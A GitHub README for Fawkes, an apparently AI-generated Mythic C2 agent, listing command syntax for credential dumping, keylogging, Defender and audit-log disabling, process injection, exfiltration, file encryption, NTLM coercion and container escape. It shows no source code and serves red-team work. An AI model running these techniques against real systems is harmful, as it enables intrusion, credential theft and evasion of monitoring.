fawkes

# Fawkes Mythic C2 Agent

<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />

Fawkes is an entirely vibe-coded Mythic C2 agent. It started as an "I wonder" and has turned into a goal. My goal is to not write a single line of code for this agent, instead, exclusively producing it at a prompt.

I originally attempted to write the agent myself, but after cloning the example container, reading through mythic docs, watching the dev series youtube videos, and copying code from other agents like Merlin or Freyja, I decided I just didn't have time to develop my own agent. A prompt though, that I have time for.

Fawkes is a golang based agent with cross-platform capabilities. It supports **Windows** (EXE, DLL, and shellcode payloads), **Linux** (ELF binaries and shared libraries), and **macOS** (Mach-O binaries for Intel and Apple Silicon). **213 commands** total: 113 cross-platform, 82 Windows-only, 21 Unix-only, 11 Linux-only, and 6 macOS-only (some commands have platform-specific implementations sharing one user-facing name, e.g. screenshot). Supports HTTP egress and TCP peer-to-peer (P2P) linking for internal pivoting.

## Installation
To install Fawkes, you'll need Mythic installed on a remote computer. You can find installation instructions for Mythic at the [Mythic project page](https://github.com/its-a-feature/Mythic/).

From the Mythic install directory:

```
./mythic-cli install github https://github.com/galoryber/fawkes
```

## Commands Quick Reference

Command | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Read/modify Active Directory object DACLs (add/remove ACEs, grant DCSync, GenericAll, backup/restore). Cross-platform (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Enumerate AD Certificate Services, find vulnerable templates (ESC1-ESC4, ESC6 via DCOM), request certificates via DCOM for ESC1/ESC6 exploitation, or auto-exploit (find → parse → request chain). Cross-platform (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Windows only)** Manage NTFS Alternate Data Streams — write, read, list, or delete hidden data streams. Supports text and hex-encoded binary. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Query and clean forensic execution artifacts. Windows: Shimcache. Linux: recently-used.xbel, thumbnails, Tracker. macOS: recent items, KnowledgeC, quarantine (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Windows only)** Remote process injection. `-method apc` (default) queues shellcode via NtQueueApcThread into an alertable thread (use `ts` to find one). `-method hwbp` attaches via DebugActiveProcess, sets a DR0 hardware breakpoint on a target API (default `ntdll!NtDelayExecution`), and redirects Rip to the shellcode when the breakpoint fires — no TID required, no APC queue, no CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Record audio from microphone and upload WAV file. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Cross-platform (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Windows only)** Query and modify Windows audit policies. Disable security event logging before sensitive operations. Stealth mode disables detection-critical subcategories. Uses AuditQuerySystemPolicy API (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Windows only)** Execute a command with spoofed process arguments. Defeats Sysmon Event ID 1 and EDR command-line telemetry (T1564.010).
arp | `arp [-ip <subnet>]` or `arp -action spoof -target <IP> -gateway <IP>` | Display ARP table with filtering, or ARP cache poisoning for MITM positioning (T1557.002). Spoof: Linux only, restores on cleanup.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Request AS-REP tickets for accounts without pre-authentication and extract hashes in hashcat format for offline cracking. Auto-enumerates via LDAP. Cross-platform (T1558.004).
av-detect | `av-detect [-deep true]` | Detect installed AV/EDR/security products by scanning running processes against a 130+ signature database. With `--deep`, also checks kernel modules, systemd units, and config directories for installed-but-not-running products (Linux). Reports product, vendor, type, and PID. Cross-platform.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Windows only)** Automatically patch a function by jumping to nearest return (C3) instruction. Useful for AMSI/ETW bypasses.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Data encoding toolkit: base64, XOR (with string/hex key), hex, ROT13, URL percent-encoding, Caesar cipher. All support file I/O. Cross-platform (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Windows only)** Manage BITS transfer jobs for persistence and stealthy file download. Create, suspend, resume, complete jobs and set notification commands for persistence. Jobs survive reboots (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Harvest browser data from Chromium, Firefox, and Safari. History, autofill, bookmarks, downloads cross-platform. Passwords: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (key4.db NSS decryption), Safari (macOS Keychain). Firefox cookies on all platforms. MITRE T1555.003, T1217.
cat | `cat <file>` or `cat -path <file> -start N -end N -number true` | Display file contents with optional line range, numbering, and 5MB size protection.
cd | `cd <directory>` | Change the current working directory.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Modify file/directory permissions with octal (755, 644) or symbolic (+x, u+rw, go-w) notation. Recursive support. Cross-platform (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Linux/macOS only)** Change file/directory ownership by username/UID and group name/GID. Recursive support (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Inspect TLS certificates on remote hosts — identifies CAs, self-signed certs, expiry, SANs, TLS version, cipher suites, and SHA256 fingerprints. Cross-platform (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Windows only)** Enumerate Windows certificate stores to find code signing certs, client auth certs, and private keys. Searches CurrentUser and LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Read/write clipboard or continuously monitor for changes with credential pattern detection. Cross-platform (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Cloud metadata, credential extraction, IAM enumeration, storage enumeration, persistence, and secret store access. storage/aws-s3/azure-blob/gcp-gcs: enumerate buckets/containers with sample objects. aws-ssm: SSM Parameter Store with decryption. azure-keyvault: Key Vault secrets via managed identity. gcp-secrets: Secret Manager via service account. aws-persist/azure-persist: create long-lived access keys/app registrations. Auto-detect. IMDSv2. Cross-platform (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Create, list, extract, stage, or exfil archives. Stage encrypts with AES-256-GCM. Exfil transfers to Mythic. exfil-https: upload to S3/Azure/GCS pre-signed URLs with chunked uploads, custom headers, jitter. exfil-github: exfiltrate via GitHub Contents API. Cross-platform (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | NTLM authentication coercion via MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Forces target to authenticate to attacker listener. Pass-the-hash support. Cross-platform (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | View or modify runtime agent configuration, or self-update the agent binary. `show`/`set`: sleep, jitter, kill date, working hours. `update`: download new payload from Mythic, verify, launch, and exit current agent. Cross-platform (T1105).
container-detect | `container-detect` | Detect container runtime and environment (Docker, K8s, LXC, Podman, WSL). Checks escape vectors like Docker sockets and K8s service accounts. Cross-platform (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Linux only)** Container breakout + K8s operations — Docker socket, cgroup, nsenter, host device mount. K8s: enumerate pods/services, read secrets, **k8s-rbac**: ClusterRole/RoleBinding sweep + privilege-escalation path scoring (crit/warn/info), **k8s-nodes**: cluster node attack-surface (kubelet/OS/kernel/CIDR/taints/roles), **k8s-etcd**: discover etcd client endpoints from control-plane pod args + unauthenticated `/version` probe per endpoint (unauth read = full cluster compromise), deploy/exec pods via API. **Out-of-cluster**: `-kubeconfig` accepts stolen kubeconfig files for K8s access from non-container hosts (token + client cert auth) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Copy a file from source to destination.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Test credentials against SMB, WinRM, and LDAP on target hosts. `verify-all` tests all vault credentials against discovered hosts in parallel. Cross-platform (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Harvest credentials: shadow hashes (Unix), cloud configs (AWS/GCP/Azure/K8s), application secrets, shell history scanning for leaked passwords/tokens/API keys, PowerShell history + env vars + RDP (Windows), M365 OAuth/JWT tokens from TokenBroker/Teams/Outlook (Windows), **browser-live**: steal live cookies, localStorage, sessionStorage via Chrome DevTools Protocol (CDP) from running Chrome/Edge. **dump-all**: automated subtask chain — runs hashdump + lsa-secrets + cred-harvest all in parallel (Windows). Cross-platform (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Display native credential dialog, abuse OAuth device code flow, or phish MFA codes. dialog: macOS AppleScript, Windows CredUI, Linux zenity/kdialog. device-code: Azure AD OAuth device code flow for token capture. mfa-phish: fake MFA verification dialog to capture TOTP codes. Cross-platform (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTP requests + file upload exfiltration (T1567). Upload to S3 presigned URLs, Azure SAS, generic endpoints. Cross-platform (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Extract fields or character ranges from file lines. Custom delimiters, range specs. Cross-platform (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Enumerate platform credential stores. Windows: Credential Manager + Vault (CredEnumerateW, vaultcli.dll). Linux: GNOME Keyring (secret-tool), KDE KWallet, NetworkManager WiFi/VPN passwords, GNOME Online Accounts. macOS: Keychain items (generic + internet passwords), WiFi passwords. `list`=metadata, `dump`=with secrets, `vault`=Windows only. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Windows only)** Manage Defender — status, exclusions, threats, enable/disable real-time protection. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Windows only)** DPAPI blob decryption (CryptUnprotectData), master key enumeration, Chrome/Edge encryption key extraction. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Windows only)** Access Outlook mailbox via COM. Count messages, search by keyword, read by index, list folders. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Windows only)** Execute commands, upload files, or stage-and-execute on remote hosts via DCOM. `check` validates RPC/DCOM prerequisites. upload: transfer files via certutil/PowerShell staging. exec-staged: upload then execute with auto-cleanup. Six COM objects. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Detect attached debuggers, analysis tools, and instrumentation. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, DR registers. Linux: TracerPid, LD_PRELOAD, memory maps (Frida/Valgrind/sanitizers), VM/sandbox, eBPF monitoring (Falco/Tetragon/Tracee), auditd framework, ptrace scope. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, VM detection (sysctl), security products (EDR/AV), sandbox/analysis env. All: debugger process scan (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — replicate AD credentials via DRS without touching LSASS. `domain-takeover` runs kerberoast + asrep-roast + dcsync krbtgt/Administrator in parallel. Cross-platform (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Report filesystem disk space usage with optional device, mount point, or fstype filtering. Cross-platform (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Compare two files and show differences in unified diff format. LCS-based algorithm with configurable context lines. Cross-platform (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS enumeration — resolve hosts, query records, discover DCs, zone transfers, wildcard detection, DNS-over-HTTPS stealth resolution, DNS exfiltration. Cross-platform (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Report disk usage for files and directories. Size breakdown by subdirectory, sorted by largest. Cross-platform (T1083).
drivers | `drivers [-filter <name>]` | Enumerate loaded kernel drivers/modules. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: kext enumeration. Cross-platform (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | AD password/lockout policy and FGPP enumeration via LDAP. Spray-safe recommendations. Cross-platform (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Linux/macOS only)** List, add, or remove cron jobs for persistence. Supports raw cron entries or program+schedule syntax.
download | `download <path>` or `download {"path": "/file", "compress": true}` | Download a file or directory from the target. Files >1MB auto-compressed with gzip (configurable). Directories auto-zipped. SHA256 hash verification. Chunked transfer, file browser integration.
drives | `drives` | List available drives/volumes and mounted filesystems with type, label/device, and free/total space.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Windows only)** Enumerate access tokens across all processes. `list` shows PID/user/integrity/session for each process. `unique` groups by user with process counts. Auto-enables SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | AES-256-GCM encryption/decryption (T1486) + targeted file corruption (T1565). corrupt: overwrite file headers with random data. Safety gates required for destructive ops.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | List, get, set, or unset environment variables for the agent process. Changes are inherited by child processes. Cross-platform.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Scan process environment variables for leaked credentials, API keys, and secrets. 35+ detection patterns across cloud, database, CI/CD, and crypto categories. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Audit/telemetry subsystem manipulation. Windows: ETW sessions/providers stop/blind/blind-all/enable/patch/restore. Linux: auditd rules, journald clear/rotate, syslog config, SIEM agent detection. macOS: unified logging, security agent detection. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Manage system event logs. Windows: wevtapi.dll channels. Linux: journald units and syslog files. macOS: Unified Logging (os_log) subsystems/processes. List sources, query events, clear/vacuum logs, get info. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Execute a native binary from memory. Linux: memfd_create (no disk write). macOS: temp file with ad-hoc codesign. Windows: temp file with immediate cleanup. All platforms remove artifacts after execution. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Execute shellcode in the current process. Supports XOR/AES-256-CTR encoded shellcode with runtime decoding (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (default) or memfd_create. macOS: MAP_JIT (ARM64) or mmap. Cross-platform (T1059.006, T1620).
exit | `exit` | Task agent to exit.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Get or set file attributes — hidden, readonly, system (Windows); immutable, append, nodump (Linux); hidden, immutable (macOS). Omit -attrs to view current flags. Cross-platform (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Identify file types by magic bytes (35+ signatures). Single file or directory scanning. Detects executables, archives, documents, images, databases, media, and more. Cross-platform (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Search for files by name, size, date, permissions, or owner. Find SUID binaries, world-writable files, files owned by specific users. Cross-platform (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Sweep hosts to discover where credentials have admin access via SMB (C$ share) and/or WinRM. **auto-move**: automated subtask chain — find admin hosts then laterally move to each via psexec/wmi. Supports CIDR, IP ranges, PTH, parallel scanning (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Manage firewall rules. Windows: COM API. macOS: ALF + pf anchored rules. Linux: iptables/nftables (auto-detected). PF anchor support for macOS packet filtering. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** List privileges/capabilities. Windows: token privileges with enable/disable/strip. Linux: process capabilities (CapEff/CapPrm) + SELinux/AppArmor context. macOS: entitlements, sandbox, groups (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Privilege escalation. Windows: SYSTEM via token steal or DCOM potato. Linux: check escalation vectors (SUID, sudo, capabilities, docker) or attempt sudo elevation. macOS: check vectors, sudo, or osascript admin prompt (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | Search SYSVOL for GPP XML files with encrypted cpassword attributes and decrypt using the published AES key (MS14-025). Cross-platform via SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Enumerate Group Policy Objects via LDAP — list GPOs, map links with enforcement, find interesting CSE settings. Cross-platform (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Search file contents for regex patterns. Recursive directory search with extension filtering, context lines, and binary file skipping. Cross-platform (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Compute file hashes (MD5, SHA-1, SHA-256, SHA-512). Single files or directories with glob pattern filtering and depth control. Cross-platform (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Display file contents in xxd-style hex+ASCII format. Offset/length control for examining specific regions, max 4096 bytes. Cross-platform (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Enumerate open handles/file descriptors in a process. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Extract local account password hashes. Windows: NTLM hashes from SAM registry (requires SYSTEM); **insitu**: enumerate active logon sessions via in-process LSA APIs (requires admin); **insitu-full**: open lsass.exe with PROCESS_VM_READ, sigscan lsasrv.dll for LogonSessionList, walk the linked list, overlay the KIWI_MSV1_0_LIST_63 layout on each node to parse LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer, walk the per-AuthPackage credential chain at credentials_ptr to capture each KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC envelope, sigscan LsaInitializeProtectedMemory_Internal to recover the IV / h3DesKey / hAesKey BCrypt key globals plus the raw 16-byte IV / 24-byte 3DES / 32-byte AES key bytes, AES-256-CFB / 3DES-CBC decrypt every captured ciphertext blob (selected per-blob by `len % 8`), and overlay the KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW layout to extract NT/LM/SHA hashes — emitted in `username:rid:lm:nt:::` format compatible with the dump-action ProcessResponse credential-vault hook (Phase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, requires admin). Linux: /etc/shadow hashes with hash-type identification (requires root). macOS: Directory Services PBKDF2 hashes from user plists (requires root). **auto-spray**: dump hashes then automatically spray them via cred-check against target hosts. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | List or clear shell/application command history files. Covers bash, zsh, fish, PowerShell, python, mysql, and more. Cross-platform (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Process hollowing — create suspended process, write shellcode, redirect execution. **Windows:** CREATE_SUSPENDED + SetThreadContext, PPID spoofing, DLL blocking, PEB decoration (ImagePath/CommandLine/WindowTitle masking). **Linux (amd64/arm64):** PTRACE_TRACEME + /proc/mem write. **macOS:** ptrace + Mach VM APIs (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — requires root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | Enumerate IDE configurations — VS Code extensions, remote SSH hosts, recent projects, settings with secrets. JetBrains data sources, deployment servers, recent projects. Cross-platform (T1005, T1083).
ifconfig | `ifconfig` | List network interfaces with addresses, MAC, MTU, and flags. Cross-platform (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Windows only)** Execute a .NET assembly in memory using the CLR. Supports command-line arguments. Use `start-clr` first for AMSI patching workflow.
inline-execute | `inline-execute` | **(Windows only)** Execute a Beacon Object File (BOF/COFF) in memory. Supports all argument types: strings (z), wide strings (Z), integers (i), shorts (s), and binary (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Windows only)** Load a native PE (DLL) from memory into the current process. Manual PE mapping with section copying, relocation fixups, import resolution, and DllMain invocation. Optionally call exported functions (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Linux only)** Linux firewall enumeration and management via iptables/nftables/ufw. IP forwarding, connection tracking, rule listing and modification. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Stop a running task by task ID. Use `jobs` to list running tasks. Cross-platform.
jobs | `jobs` | List currently running tasks with task ID, command name, and duration. Cross-platform.
jxa | `jxa -code '<script>' [-timeout 60]` or `jxa -file /path/to/script.js` | **(macOS only)** Execute JavaScript for Automation (JXA) scripts with ObjC bridge access to Foundation, AppKit, Security frameworks. Supports inline code and file input (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | Request TGS tickets for SPN accounts and extract hashes in hashcat format for offline cracking. Auto-enumerates via LDAP. Cross-platform (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Enumerate, dump, purge, and import Kerberos tickets. Import enables Pass-the-Ticket: Windows injects kirbi via LSA, Linux/macOS writes ccache + sets KRB5CCNAME. Cross-platform (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(macOS only)** Access macOS Keychain — list keychains, dump metadata, find generic/internet passwords, enumerate certificates.
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Enumerate Kerberos delegation relationships — unconstrained, constrained (with protocol transition), RBCD. **monitor** action (Windows/SYSTEM only) polls LSA for incoming TGTs and exports as kirbi blobs. Cross-platform except monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Low-level keyboard logger. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Detects Ctrl+V/Cmd+V paste events and captures clipboard content. Window context tracking on all platforms (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Test lateral movement options against targets — checks SMB, WinRM, RDP, RPC, SSH connectivity and suggests applicable methods. Cross-platform (T1046, T1021).
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | Show login history, failed login attempts, and system boot/shutdown events. Linux: parses wtmp/btmp. Windows: Security/System event logs. macOS: native `last` + unified log. (T1087.001, T1110, T1082).
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | Query Active Directory via LDAP. Preset queries for users, computers, groups, domain admins, all admins (adminCount), SPNs, AS-REP roastable, disabled accounts, GPOs, OUs, password-never-expires, domain trusts, unconstrained/constrained delegation, DACL analysis, gMSA password extraction, BloodHound CE v6 collection (users/computers/groups/OUs/GPOs/trusts for graph analysis), or custom LDAP filters. Cross-platform (T1087.002, T1482, T1555, T1003, T1615).
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | Modify AD objects via LDAP. Group membership, attributes, SPNs, account enable/disable, password reset, shadow credentials, machine account creation, RBCD delegation, object deletion. GPO abuse: inject scheduled tasks (gpo-task) or startup scripts (gpo-script). ADCS: modify certificate templates for ESC1/ESC4 exploitation. Cross-platform (T1098, T1556.006, T1484.001, T1649).
kill | `kill -pid <PID>` | Terminate a process by PID. Cross-platform (Windows/Linux/macOS).
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | Read LAPS passwords from AD via LDAP. Supports LAPS v1 (ms-Mcs-AdmPwd) and Windows LAPS v2 (ms-LAPS-Password). Cross-platform (T1552.006).
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(Windows only)** Extract LSA secrets (service passwords, DPAPI keys, machine account) and cached domain credentials (DCC2/MSCacheV2 hashcat format). Requires SYSTEM (T1003.004, T1003.005).
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(macOS only)** Install, remove, or list LaunchAgent/LaunchDaemon persistence. Creates plist with RunAtLoad+KeepAlive.
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | Link to a P2P agent via TCP or named pipe for internal pivoting. Named pipe mode uses SMB port 445 for stealthier Windows traffic. Cross-platform TCP, Windows-only named pipe (T1572).

---

[Read more](https://github.com/galoryber/fawkes)